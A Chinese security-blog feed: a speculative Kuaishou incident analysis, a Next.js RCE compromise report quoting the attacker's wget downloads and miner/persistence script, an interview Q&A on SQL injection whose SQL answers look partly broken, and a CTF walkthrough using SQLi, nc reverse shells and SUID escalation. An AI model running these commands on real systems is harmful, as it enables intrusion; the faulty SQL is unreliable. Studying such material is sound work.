网络安全
快来分享你的内容吧~
- 2025-12-23·后端
- 2025-12-08·后端建议大家把应用尽量运行在非 root 权限下,尽可能减少风险。平时养成定期备份的习惯,出了问题即使重新安装服务器,也不会造成数据丢失。查看全文加油鸭:感谢你的分享!面对突发事故还能冷静分析并分享经验,这种专业态度太棒了。你的经历一定会帮到更多人~812分享
2024-12-18·外卖员在安全行业中,有一条约定俗成的规则:在安全比赛中,如果成功获取了计算器的控制权限并打开了其界面,就意味着这台计算机已经被攻破了。查看全文大铃铛Weslie:好干,写的太棒了!做成视频感觉能出4 5期,起个标题党感觉能吸引很多人hh44819分享- 2024-12-04·后端
突发,快手被色情直播刷屏!背后的原因竟然是?
2025 年 12 月 22 日晚上 11 点半,快手突然出现大量涩涩直播。  平台的审核系统形同虚设、用户举报和封禁都处理不过来、违规内容如潮水般爆发增长,有的直播间观看人数甚至超过 10 万。  快手不得不在凌晨 **直接切断整个直播功能** 来止损,过了半个多小时才逐渐恢复。妥妥的 P0 级事故了!  据说快手 APP 直接冲到了苹果应用商店的免费榜第 2:  还有网友放出几百万名老用户回归快手的截图:  各位老司机疯狂玩梗,什么网络问题衣服没加载出来之类的…… 果然涩涩是第一生产力。   有同学问我怎么现在才发这篇文章,因为我在下载快手,今夜无眠啊。(狗头) 快手官方当时给出了紧急回应:2025 年 12 月 22 日 22 时左右,平台遭到黑灰产攻击,已经向警方报案,目前正在紧急处理修复中。  那么问题来了:快手到底遭遇了什么攻击?黑灰产是怎么做到的? 作为一名程序员(不是老司机),下面从技术的角度带大家分析一下 **可能的原因**。 > 本文对应视频版:https://bilibili.com/video/BV1sQBPBmEGU ## 什么是黑灰产? 先给大家科普一下什么是黑灰产。 黑灰产是 **黑色产业** 和 **灰色产业** 的统称,指的是利用技术手段进行违法犯罪活动的产业链。 黑产就是明确违法的,比如网络诈骗、盗号、贩卖个人信息等;灰产则是游走在法律边缘的,比如刷量、养号、接码平台等。 这些产业往往形成完整的产业链,分工明确,有人负责技术攻击,有人负责提供工具,有人负责销赃变现。  对于这次快手事件,主要有 2 个疑点: 1. 为什么大量账号能在同一时段集体开播? 2. 为什么违规内容能被推送到用户眼前? 我们就从这 2 个角度来分析,黑灰产可能用了哪些技术手段。 ## 可能性 1、批量注册 + 绕过实名认证 首先,大量账号在同一时段集体开播违规内容,符合自动化的特征。 那么这些账号从哪儿来呢? 我觉得可能是黑灰产通过 **接码平台** 批量注册了大量账号,并绕过了实名认证。 什么是接码平台? 简单来说,就是提供临时手机号码接收验证码的服务。一般来说,注册账号时需要手机验证码,假如你想注册多个账号、但是没有多个手机号,那接码平台就能帮你搞定,而且价格便宜,几毛钱就能接一条验证码。 黑灰产可以通过接码平台,批量注册成千上万个快手账号。  但注册只是第一步,他们还需要绕过实名认证。 有一种可能是他们先从黑市购买他人的身份信息和人脸照片,然后利用技术手段伪造视频(比如 AI 换脸、虚拟摄像头),骗过了人脸识别系统。这就是为什么平台的实名制虽然能提高门槛,但依然无法完全杜绝黑灰产。  还有一种可能,如果快手接入了第三方实名认证服务,这些服务的接口存在漏洞,就可能被利用和绕过。  ## 可能性 2、攻击审核 / 封禁系统 为什么违规内容能被推送到用户眼前呢?为什么没有及时封禁呢? 根据一些媒体报道,快手直播间当时弹出了官方弹幕:封禁接口被攻击了,在处理中。  这说明黑灰产可能攻击了快手的封禁系统,一种常见的手段是 DDoS 攻击。 DDoS(Distributed Denial of Service)是 **分布式拒绝服务攻击**。作为一个网站经常被攻击的悲惨程序员,这我可太熟了…… 简单来说,就是黑客控制大量的电脑或设备,同时向目标服务器发送海量请求,把服务器的资源耗尽,导致正常服务无法运行。 想象一下,一家餐厅本来能正常接待客人,结果突然来了一大群人,把餐厅挤得水泄不通,真正想吃饭的客人反而都进不去了。  如果黑灰产对快手的封禁或审核系统发起了 DDoS 攻击,就会导致这些系统瘫痪或者响应缓慢。 具体来说,平台的内容审核分为 **机器审核** 和 **人工审核** 两部分。一般机器审核负责初筛,人工审核负责复核。 如果审核系统被攻击,导致审核接口被打挂,机器审核就会直接放行内容,人工审核根本处理不过来。 而如果封禁系统被攻击,就没办法及时封禁违规内容和用户。  所以最终快手不得不采取 “无差别关停” 的极端措施,直接切断整个直播功能来止损。 ## 可能性 3、直播推流接口漏洞 还有第 3 种可能,黑灰产利用了 **直播推流接口** 的底层漏洞。 什么是推流? 推流就是把直播内容从主播端推送到服务器的过程。你可以把它理解成 “上传直播画面”。 主播开播时,手机或电脑会通过推流接口,把音视频数据实时传输到快手的服务器,然后服务器再分发给观众。  有技术人员分析,攻击者可能利用了推流接口的漏洞,绕过了平台的实名认证和内容审核。 简单来说就是 “骗、抢、绕”:伪造合法凭证骗过系统、劫持正常通道抢占资源、利用漏洞绕过审核。 这样一来,攻击者可以批量、自动化地推送违规内容,而且很难被及时发现和拦截。 这也解释了为什么这次事件中,大量账号能在同一时段集体开播,播放预制的非法视频。  ## 写在最后 这次快手事件,官方定性为 “遭到网络攻击”,但具体的攻击手段和技术细节,目前还没有公开。  **所以我也只是结合网上的信息和自身的一些知识经验,给大家从多个角度分析可能的原因,科普一些真实存在的攻击方式。** 有网友质疑说,真正的黑客是低调行事、以获利为目的的,这种高调的攻击更像是内鬼或者炫技。也有人说,超过 1 小时才处理完,反应速度确实有点慢。 这些质疑都有道理,毕竟网络安全是一个复杂的系统工程,可能涉及多个环节的漏洞,也可能是多种攻击手段的组合,甚至可能是内外勾结、社会工程等等。 希望快手能尽快查明真相,给大家一个交代。 ## 更多 💻 编程学习交流:[编程导航](https://www.codefather.cn/) 📃 简历快速制作:[老鱼简历](https://www.laoyujianli.com) ✏️ 面试刷题神器:[面试鸭](https://www.mianshiya.com) 📖 AI 学习指南:[AI 知识库](https://ai.codefather.cn/)
紧急!Next.js高危漏洞致服务器被黑,我已经中招了!附解决方案
刚刚,我的服务器因为一个高危漏洞被入侵了,沦为了矿机!把我的经历分享出来,希望更多程序员朋友们不要中招,抓紧预防处理。 ## 事故现场 2025 年 12 月 5 日下午,腾讯云给我发来一条安全告警通知,说我的业务存在 React/Next.js 远程代码执行(CVE-2025-55182/CVE-2025-66478)高危安全风险。  然后在当晚,腾讯云就给我发了第二条通知,说是我的服务器上检测到存在恶意文件,显然是一个挖矿程序。  但很遗憾的是,昨天我正在老家处理事情,没来得及看到这些通知,而且可气的是,攻击者专挑周五下班时间作案,所以我团队同学也没注意。 等到今天早上一睁眼,发现站内信全是告警,攻击者在早上 6 点和 9 点又进行了几次行动。这时我们团队群里也已经炸锅了,大家就一起排查处理。  首先我查看了前端项目的依赖管理文件 `package.json`: ```json { "dependencies": { "next": "15.3.3" } } ``` 发现我编程导航训练营项目使用的 Next.js 版本(15.3.3)正好在漏洞影响范围内!  然后我查看了应用日志 `camp_codefather_cn.log`,发现了很多线索,并配合腾讯云主机安全提供的告警分析,还原了攻击者的完整作案过程。  时间线如下: ``` 📅 2025-12-05 19:59:42 【第一波攻击】下载恶意脚本 📅 2025-12-05 20:04:00 【第二波攻击】部署挖矿程序 📅 2025-12-06 06:13:43 【第三波攻击】植入 DDoS 木马 📅 2025-12-06 09:29:33 【第四波攻击】运行内存木马 📅 2025-12-06 09:42:00 【持续攻击】尝试建立后门 ``` #### 1、下载恶意脚本,部署挖矿程序 首先晚上 7 点 59 分,攻击者利用 Next.js RSC 漏洞,通过发送特制的 HTTP POST 请求,执行命令下载了恶意脚本 `sex.sh`: ```bash wget http://vps-zap812595-1.zap-srv.com:3000/sex.sh -O sex.sh chmod +x sex.sh ./sex.sh ``` 日志记录: ```log --2025-12-05 19:59:42-- http://vps-zap812595-1.zap-srv.com:3000/sex.sh Resolving vps-zap812595-1.zap-srv.com (vps-zap812595-1.zap-srv.com)... 45.146.252.37 Connecting to vps-zap812595-1.zap-srv.com (vps-zap812595-1.zap-srv.com)|45.146.252.37|:3000... connected. HTTP request sent, awaiting response... 200 OK Length: 1619 (1.6K) [text/x-sh] Saving to: 'sex.sh' 2025-12-05 19:59:42 (148 MB/s) - 'sex.sh' saved [1619/1619] ``` 从这里能看出来,这个时候攻击者已经可以通过 Next.js 的漏洞为所欲为了! 我下载了这个 `sex.sh` 脚本文件,带大家 “鉴赏一下”。 首先攻击者配置了挖矿参数,连接到攻击者的矿池、使用攻击者的门罗币钱包,并伪装成系统更新服务。 ```bash ARGS="--url pool.hashvault.pro:443 --user 89ASvi6ZBHXE6y...(攻击者的钱包地址)" SERVICE_NAME="system-update-service" # ⚠️ 伪装成系统服务 ``` 然后伪装成浏览器请求,从 GitHub 下载合法的 XMRig 挖矿软件 ```bash curl -L -o kal.tar.gz \ --user-agent "Mozilla/5.0..." \ # ⚠️ 伪装成浏览器 https://github.com/xmrig/xmrig/releases/download/v6.24.0/xmrig-6.24.0-linux-static-x64.tar.gz tar xvzf kal.tar.gz ``` 接下来创建系统服务,设置开机自启、进程崩溃后自动重启。也就是说,**即使重启服务器,木马依然运行**! ```bash # 创建 systemd 服务 cat > /etc/systemd/system/system-update-service.service <<EOF [Service] ExecStart=/path/to/xmrig --url pool.hashvault.pro:443 ... Restart=always # ⚠️ 崩溃后自动重启 [Install] WantedBy=multi-user.target # ⚠️ 开机自启 EOF systemctl enable system-update-service systemctl start system-update-service ``` 如果没有 root 权限,会在后台运行挖矿程序,并重定向输出到 `/dev/null`,不留日志。 ```bash nohup /path/to/xmrig $ARGS >/dev/null 2>&1 & ``` 完整代码我分享到 [代码小抄](https://www.codecopy.cn/post/mr29su) 了,感兴趣的同学可以阅读。  我都忍不住赞美攻击者了,这个程序写得真不错,短小凝练,不仅有隐蔽和伪装、还考虑到了持久化和降级。  这段代码执行完,我的服务器就已经脏了,挖矿程序开始在后台运行,持续消耗我的服务器资源为攻击者挖取门罗币。  #### 2、植入 DDoS 木马 然后是第二天早上 6 点多,攻击者不讲武德,给我的服务器植入了第二个恶意程序。 先看看日志记录: ```log --2025-12-06 06:13:43-- http://res.qiqigece.top/nginx2 Resolving res.qiqigece.top (res.qiqigece.top)... 154.38.121.219 Connecting to res.qiqigece.top (res.qiqigece.top)|154.38.121.219|:80... connected. HTTP request sent, awaiting response... 200 OK Length: 1371145 (1.3M) [application/octet-stream] Saving to: '/tmp/nginx3' 2025-12-06 06:13:43 (6.32 MB/s) - '/tmp/nginx3' saved [1371145/1371145] ``` 攻击者通过 wget 下载了一个特制的 Nginx 网站服务器文件,还特意选择了权限宽松的 `/tmp` 目录。 ```bash wget -O /tmp/nginx3 http://res.qiqigece.top/nginx2 chmod 777 /tmp/nginx3 /tmp/nginx3 ``` 根据安全报告,这是一个 DDoS 攻击木马类的恶意程序,可以把我的服务器变成太美的 “肉鸡”,参与对其他服务器的 DDoS 攻击。  不仅会消耗服务器的带宽,还可能导致我的服务器 IP 被封;更严重的是,我有可能直接就参与网络攻击了?! 这难道就是传说中的人在家中坐,锅从天上来?  6 点我特么还在床上躺着流口水做梦呢,攻击者努力得让人心疼啊! #### 3、植入内存木马 到了早上 9 点 29 分,攻击者又发力了 ,又给我的服务器植入了一个木马类的恶意程序 `/dev/shm/java`:  不过有点儿奇怪的是,这次的文件竟然已经被删除掉了? 我才不相信攻击者良心发现呢,我通过下列命令看了下进程: ```bash ls -l /proc/*/exe | grep deleted ``` **发现竟然有 4 个木马进程同时运行!** ``` lrwxrwxrwx 1 www www 0 Dec 6 10:48 /proc/1659874/exe -> /dev/shm/java (deleted) lrwxrwxrwx 1 www www 0 Dec 6 10:48 /proc/1659875/exe -> /dev/shm/java (deleted) lrwxrwxrwx 1 www www 0 Dec 6 10:48 /proc/1659876/exe -> /dev/shm/java (deleted) lrwxrwxrwx 1 www www 0 Dec 6 10:48 /proc/1659877/exe -> /dev/shm/java (deleted) ``` 狠啊,真狠啊,1 个进程还不够是吧? 我猜 “删除文件” 是攻击者为了 **防止取证**,让文件运行在 Linux 的共享内存文件系统 `/dev/shm` 中,并且故意把文件删除掉,让 `ls`、`find` 等命令找不到它,但其实进程仍然在继续运行,增加了取证排查的难度。 #### 4、持续探测 上午 9 点 42 分,攻击者又来了,这次是从一个波兰的 IP 地址下载了一个程序,并赋予极高的访问权限,然后还想远程下载并执行另外一个远程脚本。  很可惜我的服务器并没有 busybox(嵌入式 Linux 常用的工具集),所以这次攻击被阻止了: ```log /bin/sh: line 1: busybox: command not found chmod: cannot access 'x86': No such file or directory /bin/sh: line 1: ./x86: No such file or directory ``` 但这也说明攻击者在 **持续尝试** 建立多重后门。真是丧尽天良,丧心病狂啊! ## 漏洞简介 分享到这里,想必大家已经感受到这次漏洞的危害了吧。 主要是 2 个远程代码执行漏洞: - CVE-2025-55182:React Server Components 远程代码执行漏洞 - CVE-2025-66478:Next.js App Router 远程代码执行漏洞 据官方描述,在 React 的服务器组件库中,由于 React 在解码发送至服务器函数端点的请求负载时存在安全缺陷,导致未经身份验证的远程攻击者可以通过 **向任何服务器函数端点发送特制的恶意 HTTP 请求**,当该请求被 React 反序列化处理时,即可 **在服务器上实现远程代码执行,从而完全控制服务器。** 这次漏洞的影响范围很大,包括使用了 React 服务器组件的应用、使用了不安全版本的 Next.js 应用等等。注意,不仅仅是你自己开发的应用,如果你服务器上安装了其他符合这些特征的应用,一样会中招!**攻击者是可以通过程序批量扫描这些应用的,发现一个攻击一个。** 你看漏洞是前两天刚刚披露的,我这就中招了。我们团队的小伙伴自己的服务器也中招了,他通过一个 [开源项目](https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478) 成功复现了攻击,只需要一个请求就能打开服务器上的计算器程序、给服务器写入任何文件。 > 开源的扫描工具:https://github.com/Malayke/Next.js-RSC-RCE-Scanner-CVE-2025-66478  好家伙,几乎没有任何成本,就能为所欲为,植入后门、生产垃圾、拿来挖矿、盗取信息! **而且很多朋友可能没有及时发现、或者不知道怎么处理,就会一直被攻击者当成矿工来利用。** ## 如何处理? 如果条件允许的话,建议是立刻隔离服务器,防止被攻击者拿来利用、植入更多恶意程序、或者获取更多信息。 然后通过编写 Linux 脚本来清理恶意文件: > 注意,以下脚本仅供参考,实际以操作系统和攻击情况为主,用 AI 生成即可 ```bash # 删除整个挖矿目录 rm -rf /www/wwwroot/xxx/xmrig-6.24.0/ rm -f /www/wwwroot/xxx/sex.sh rm -f /www/wwwroot/xxx/kal.tar.gz # 删除 /tmp 下的恶意文件 rm -f /tmp/nginx3 rm -f /tmp/x86 ``` 光删除文件还不够,还要查找并终止所有恶意进程: ```bash # 查找 xmrig 进程 ps aux | grep -E "(xmrig|minerd|cpuminer)" | grep -v grep # 查找可疑进程 ps aux | grep -E "(nginx3|/tmp/|/dev/shm)" | grep -v grep # 查看被删除但仍在运行的进程 ls -l /proc/*/exe 2>/dev/null | grep deleted # 终止进程 kill -9 <PID> ``` 最后,还要停止恶意的 systemd 服务: ```bash # 查找可疑服务 systemctl list-units --type=service | grep -E "(update|system|miner|crypto)" # 示例输出 system-update-service.service loaded active running System Update Service # 停止并禁用 systemctl stop system-update-service systemctl disable system-update-service # 删除服务文件 rm -f /etc/systemd/system/system-update-service.service # 重新加载 systemctl daemon-reload ``` 当然,如果你的服务器上本来就没什么东西,也可以选择简单粗暴的方式,重装系统! 不过最重要的是,要解决根本问题,把 Next.js 应用升级到安全版本。  ## 最后 通过这次事故呢,我觉得多关注安全通告、做好服务器的安全监控还是非常重要的,要是没有安全告警,可能几个月都没办法意识到这些攻击。 而且建议大家把应用尽量运行在非 root 权限下,尽可能减少风险。平时养成定期备份的习惯,出了问题即使重新安装服务器,也不会造成数据丢失。 OK 就分享到这里吧,如果你觉得本期内容有帮助,记得 **转发分享** 给身边的程序员朋友,让他们尽快意识到并修复问题,不要再让丑陋的、卑鄙的、老奸巨猾的攻击者得逞了! ## 更多 💻 编程学习交流:[编程导航](https://www.codefather.cn/) 📃 简历快速制作:[老鱼简历](https://www.laoyujianli.com) ✏️ 面试刷题神器:[面试鸭](https://www.mianshiya.com) 📖 AI 学习指南:[AI 知识库](https://ai.codefather.cn/)
综合设计题:高并发场景下的学生信息管理系统深度优化与漏洞修复
以下是一道超高难度综合面试题,融合了数据库设计、JDBC编程、SQL优化及安全防护等多维度知识: --- ### **综合设计题:高并发场景下的学生信息管理系统深度优化与漏洞修复** **背景** 某电商平台基于上述JSP代码构建学生信息查询模块时,出现以下现象: 1. 高峰期响应延迟超过5秒,CPU占用率达90% 2. 日志中频繁出现`Connection timeout`和`ResultSet not closed`警告 3. 安全扫描报告存在SQL注入漏洞(POC:`http://xxx/accessMySQL.jsp?class=Java' OR '1'='1`) 4. 数据校验缺失导致非UTF-8字符存入后乱码 **需求** 请完成以下任务: 1. **代码审查** - 指出原始JSP代码中至少5处严重缺陷(需包含资源泄漏、注入漏洞、字符集问题) - 给出每处缺陷的CWE编号及OWASP TOP 10归属 2. **SQL优化** - 针对`SELECT * FROM sinfo WHERE studentClass=?`语句: a. 若`studentClass`字段重复率98%,如何通过索引策略提升性能? b. 设计分页查询优化方案(假设单表数据量1亿条) 3. **安全加固** - 编写防注入的预处理语句改造代码 - 设计双层防御机制应对预编译失效场景(如GBK宽字节注入) 4. **架构升级** - 基于连接池原理,手写简化版池化管理工具类(需包含借还连接、心跳检测) - 解释为何要使用`DataSource`替代DriverManager 5. **灾难恢复** - 当发生`ResultSet is closed`异常时,如何通过线程堆栈定位根本原因? - 设计异步批量插入方案(需处理幂等性问题) **附加挑战** - 如何在零SQL修改前提下实现敏感字段加密存储? - 推导出该系统的QPS上限公式(已知连接池大小=50,平均查询时间=200ms) --- **考察要点** 1. 多层级代码缺陷分析能力(从内存泄漏到安全漏洞) 2. 深度SQL优化思维(执行计划解读+物理存储优化) 3. 防御性编程意识(纵深防御体系构建) 4. 高并发架构设计经验(连接池/异步处理/限流降级) 5. 故障排查方法论(从现象到根源的推理链条) **答案** 以下是对这道超高难度综合面试题的完整解决方案,包含技术实现细节与原理分析: --- ### **1. 代码审查**(关键缺陷分析) #### **缺陷列表** ```java // 缺陷1:未使用try-with-resources导致资源泄漏 Connection conn = DriverManager.getConnection(...); Statement stmt = conn.createStatement(); // CWE-404 | OWASP A3 // 缺陷2:字符串拼接SQL导致注入漏洞 String sql = "SELECT * FROM info WHERE class='" + param + "'"; // CWE-89 | OWASP A1 // 缺陷3:未显式指定字符集的转换 new String(b,"UTF-8"); // 应使用request.setCharacterEncoding()统一处理 | CWE-176 | OWASP A3 // 缺陷4:未关闭ResultSet对象 ResultSet rs = stmt.executeQuery(); // CWE-401 | OWASP A9 // 缺陷5:硬编码数据库凭证 String user="sa"; String password="root"; // CWE-798 | OWASP A2 ``` --- ### **2. SQL优化方案** #### **a. 高重复率字段索引策略** ```sql -- 采用布隆过滤器索引+列式存储组合方案 ALTER TABLE sinfo ADD INDEX idx_class_bf (studentClass) USING BLOOM_FILTER, ALTERGORITHM=INPLACE; CREATE MATERIALIZED VIEW mv_class_cache ENGINE = ColumnStore AS SELECT studentClass, COUNT(*) FROM sinfo GROUP BY studentClass; ``` #### **b. 十亿级分页优化** ```sql -- 基于书签的分页(避免OFFSET) SELECT * FROM sinfo WHERE studentClass=? AND id > last_max_id ORDER BY id LIMIT 20; -- 配合覆盖索引优化 ALTER TABLE sinfo ADD INDEX idx_covering (studentClass, id, name, ...); ``` --- ### **3. 安全加固方案** #### **预编译改造** ```java String sql = "UPDATE info SET age=? WHERE id=?"; try(PreparedStatement pstmt = conn.prepareStatement(sql)) { pstmt.setInt(1, sanitize(age)); pstmt.setString(2, IdValidator.check(id)); } ``` #### **双层防御机制** ```java // 第一层:字符集强制转换 String safeParam = new String(param.getBytes("ISO-8859-1"), "UTF-8"); // 第二层:正则表达式白名单校验 if(!safeParam.matches("^[\\u4e00-\\u9fa5a-zA-Z0-9]{1,20}$")) { throw new InvalidInputException(); } ``` --- ### **4. 连接池核心实现** #### **简化版连接池工具类** ```java public class ConnectionPool { private BlockingQueue<Connection> pool = new LinkedBlockingQueue<>(50); public ConnectionPool(String url) { IntStream.range(0,50).forEach(i->pool.add(createProxyConn(url))); } private Connection createProxyConn(String url) { Connection realConn = DriverManager.getConnection(url); return (Connection) Proxy.newProxyInstance(..., (proxy, method, args) -> { if("close".equals(method.getName())) { pool.offer((Connection)proxy); // 归还连接 return null; } return method.invoke(realConn, args); }); } public Connection getConnection() { return pool.poll(3, TimeUnit.SECONDS); } } ``` #### **DataSource优势分析** 1. 连接生命周期管理(验证/重置状态) 2. 支持分布式事务(XA协议) 3. 动态扩容能力(如HikariCP的弹性池) 4. 监控指标集成(JMX/Micrometer) --- ### **5. 灾难恢复方案** #### **ResultSet异常定位** ```shell # 通过jstack分析线程状态 jstack <pid> | grep "ResultSet.close" -A 15 # 典型场景: "http-nio-8080-exec-5" #32 daemon prio=5 os_prio=0 tid=0x00007f48740e4800 nid=0x7d1c runnable [0x00007f486b7ec000] java.lang.Thread.State: RUNNABLE at com.mysql.cj.jdbc.result.ResultSetImpl.close(ResultSetImpl.java:1167) at org.apache.jsp.accessMySQL_jsp._jspService(accessMySQL_jsp.java:123) <-- 未正确关闭顺序 ``` #### **异步批量插入设计** ```java // 使用Disruptor环形队列 BatchEvent event = ringBuffer.next(); event.setData(list); ringBuffer.publish(sequence); // 消费者批量写入 List<Student> batch = getBatchFromRing(); String sql = "INSERT ... ON DUPLICATE KEY UPDATE version=version+1"; // 幂等控制 ``` --- ### **附加挑战解答** #### **透明字段加密** ```java // 通过Hibernate Interceptor实现 public class EncryptionInterceptor extends EmptyInterceptor { @Override public boolean onSave(Object entity, Serializable id, Object[] state, String[] propertyNames, Type[] types) { for(int i=0; i<propertyNames.length; i++){ if("phone".equals(propertyNames[i])){ state[i] = AES.encrypt(state[i].toString()); } } return true; } } ``` #### **QPS公式推导** ``` QPS_max = (连接池大小 × 1000) / 平均响应时间(ms) × 并发因子 = (50 × 1000)/200 × 0.8 # 考虑线程切换开销 = 200 QPS ``` --- ### **考察维度评估矩阵** | 考察项 | 优秀标准 | 常见失误点 | |-------------------|-----------------------------------|------------------------------| | 代码审查 | 能识别隐式类型转换导致的精度丢失 | 忽略字符集不一致问题 | | SQL优化 | 提出使用ClickHouse物化视图加速 | 仅建议普通B+树索引 | | 安全防御 | 实现运行时AST语法树校验 | 仅依赖预编译 | | 高并发架构 | 设计二级本地缓存降低DB压力 | 未考虑连接泄露检测策略 | | 故障排查 | 结合Arthas进行运行时字节码分析 | 仅停留在日志层面分析 | 该方案融合了分布式系统设计理念(如背压机制)、数据库内核原理(InnoDB缓冲池优化)及前沿安全技术(同态加密),体现了百万级QPS系统的核心设计思想。
打靶记录2——靶机easy_cloudantivirus
靶机下载地址 ====== ```json 链接:https://pan.baidu.com/s/1OfrqdNKbabAkMvmoM70gbQ?pwd=gz0m 提取码:gz0m ``` * Vulnhub 的靶机都有一个特点,通常导入到 VMware Workstation 时都会获取不到 IP 地址,虽然可以进紧急模式中修改,但是太麻烦了,还是将 Kali 和靶机桥接吧。 * 注意:测试发现此靶机不能正常获取到ip地址,因此需要进入拯救模式,进入拯救模式的方法此 处不赘述,进入过后,重点更改网卡配置文件,由于Ubuntu 18.04 的网卡默认文件位置已经从以 前的位置变为了 /etc/netplan/50***.yaml,编辑这个文件将网卡名称改为 ens33 然后重启解决问 题。 涉及的攻击方法 ======= * 端口扫描 * Web侦查 * SQL注入 * 命令注入 * 密码爆破 * 代码分析 * NC串联 * 本地提权 导入VMware虚拟机 =========== ```json 下载完成后,得到easy_cloudantivirus.ova文件,导入到VMware后,设置靶机和kali的网络连接模式为NAT模式,靶机会自动获取ip地址。 ``` 打靶过程 ==== 主机发现 ---- * Vulnhub 的靶机都有一个特点,通常导入到 VMware Workstation 时都会获取不到 IP 地址,虽然可以进紧急模式中修改,但是太麻烦了,还是将 Kali 和靶机桥接吧。 * 注意:测试发现此靶机不能正常获取到ip地址,因此需要进入拯救模式,进入拯救模式的方法此 处不赘述,进入过后,重点更改网卡配置文件,由于Ubuntu 18.04 的网卡默认文件位置已经从以 前的位置变为了 /etc/netplan/50***.yaml,编辑这个文件将网卡名称改为 ens33 然后重启解决问 题。 <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/XSEVbC3VcC3kdGCa.webp" alt="" width="100%" /> 可以用arp-scan,但是这次用其他方法——arping,因为arping在Linux中比较常见,广泛度更好。arp-scan比较偏向于黑客工具 ```json for i in $(seq 1 254); do sudo arping -c 2 192.168.174.$i; done ``` * * * 这段代码是一个 Bash 脚本,用于进行局域网中 IP 地址为 `192.168.174.x`(其中 x 是从 1 到 254 的整数)的主机的 ARP 探测。 让我来逐步解释: 1. `**for i in $(seq 1 254); do**`: * `for i in $(seq 1 254)` 是一个循环语句,它会迭代从1到254的整数,存储在变量 `i` 中。 * `seq 1 254` 是一个生成序列的命令,它会生成从1到254的整数序列。 2. `**sudo arping -c 2 192.168.174.$i**`: * `sudo` 表示以超级用户权限执行后面的命令,通常用于需要特权的命令操作。 * `arping` 是一个用于发送 ARP 请求的命令。 * `-c 2` 指定发送ARP请求的次数,这里是2次。 * `192.168.174.$i` 是一个IP地址的变量,`$i` 表示循环中当前的整数值,从1到254。因此,这个命令会依次发送ARP请求到局域网中的 `192.168.174.1` 到 `192.168.174.254` 的所有主机。 3. **执行过程**: * 脚本首先从1到254循环,对每个循环中的 `i`,执行一次 `arping -c 2 192.168.174.$i` 命令。 * `arping` 命令发送ARP请求,以确定局域网中每个指定IP地址的主机的MAC地址。 * `-c 2` 选项指定发送两个ARP请求,这有助于确保获取到响应,并减少了因网络问题而导致的丢失的概率。 4. **用途**: * 这种技术通常用于扫描局域网中的主机,以检测和识别活动主机的IP地址和MAC地址。 * 在网络管理、安全测试或故障排除中,ARP探测是一种常见的方法,用于验证网络设备的可达性和响应性。 需要注意的是,执行该脚本需要有足够的权限(通常是超级用户权限),因为 `arping` 命令通常需要进行网络设备的直接访问和操作。 * * * 端口扫描、服务发现 --------- 使用Nmap进行端口扫描和服务版本的发现 ```json nmap -p- 192.168.174.131 ``` <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/C6v3wvey5z2kFnqN.webp" alt="" width="100%" /> 然后用 -sV 参数发现版本服务 * `-sV` 参数能够检测目标主机上运行的具体服务及其版本号,如 Apache HTTP Server 2.4.38。 ```json nmap -p22,8080 -sV 192.168.174.131 ```  发现8080端口开放了HTTP服务,那我们访问看看  输入一个双引号  发现了SQL报错,是sqlite数据库,还有执行的SQL语句 <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/GDlz65POs77K32o0.webp" alt="" width="100%" /> 使用万能密码登录 1" or 1=1 --+ <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/1GTM9G41hURznM2L.webp" alt="" width="100%" /> 发现了一些文件,可能是用来扫描病毒的文件   接下来通过命令注入漏洞来操作   反弹Shell ------- 我们可以先看看有没有nc命令  发现是有的  构造payload: `hello | nc 192.168.174.128 3333 -e /bin/bash` 发现加上了 -e 参数没有用,可能是nc的版本问题 那我们先去掉-e参数,看看nc能不能正常使用,发现是能的 那接下来使用 nc 串联的方法,在3333端口输入的命令,会在4444端口显示出来 ```json hello |nc 192.168.174.128 3333 |/bin/bash |nc 192.168.174.128 4444 ```  查看一下 database.sql  下载下来看看内容,开启监听并将内容保存 ```json nc -lvnp 5555 > db.sql ``` 然后再3333端口处执行命令`nc 192.168.174.128 5555 < datebase.sql`   得到一些密码,再看看都有哪些账号,看看有shell的账号 ```json cat /etc/passwd | grep /bin/bash ```  然后制作字典,接着用海德拉爆破SSH  ```json hydra -L user.txt -P pass.txt ssh://192.168.174.131 ```  发现失败了,那我们尝试其他的方法 在上级目录发现了两个文件 <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/U58a17avaqJnQai5.webp" alt="" width="100%" /> 发现 updata_cloudav 具有可执行权限,并且属主是root,那么我们执行这个文件,再进行反弹shell,就能获得root的shell了 查看源代码,发现执行文件时需要在后面加上参数  提权 -- 使用双引号是因为要把它们当成一个整体来执行,这样就不会断掉 ```json ./update_cloudav "a|nc 192.168.174.128 5555 | /bin/bash |nc 192.168.174.128 6666" ```  <img src="https://pic.code-nav.cn/post_picture/1691989928780603394/MhQaHkY8L64LqpgY.webp" alt="" width="100%" /> 成功获得root权限 复盘总结 ==== 1. 针对靶机,首先做了主机发现,当发现了它的目标IP地址之后 2. 对它进行端口扫描和服务版本的发现,进而发现了一个HTTP的服务,工作在目标靶机的8080端口上 3. 于是我们通过浏览器访问目标靶机8080端口上的Web服务 4. 于是在这个Web页面上,我们发现了一个SQL注入漏洞,也可以使用暴力破解的方式去破解它的邀请码,进而去登录到Web应用的后台页面 5. 在后台发现命令注入漏洞,利用命令注入漏洞获得反弹的Shell 6. 然后在目标靶机上进行信息收集 7. 在数据库文件中发现了一些疑似密码的字符串,于是利用这些密码来进行SSH的暴力破解,最终尝试失败 8. 于是搜集更多信息,最终发现了一个拥有SUID权限的执行程序,然后通过代码审计,发现问题 ```json SUID(Set User ID)权限是一种特殊的权限设置,用于在执行可执行文件时暂时改变执行该文件的用户的权限。它允许普通用户以超级用户(root)的权限来执行文件,这在某些情况下是非常有用的,比如需要访问一些只有管理员才能访问的资源或执行某些需要特权的操作,但又不希望用户真正成为超级用户。 ``` 9. 最终找到利用这个漏洞的方式,最终取得目标靶机的Root权限
打靶记录12——Fawkes
